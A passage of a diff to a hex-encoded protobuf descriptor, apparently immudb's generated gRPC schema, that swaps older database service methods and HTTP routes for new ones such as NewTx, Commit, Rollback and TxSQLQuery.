0x65, 0x72, 0x69, 0x6e, 0x66, - 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, + 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, - 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, - 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, + 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, + 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, - 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, + 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, + 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, + 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, + 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, - 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, - 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, - 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x88, 0x01, - 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, + 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, + 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, - 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, - 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, - 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, - 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, - 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x1c, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x22, 0x0e, 0x2f, 0x64, 0x62, - 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x79, - 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, + 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, + 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, + 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, + 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, + 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, + 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, + 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, + 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, + 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, + 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, + 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, + 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, + 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, + 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, + 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, + 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, + 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, + 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, + 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 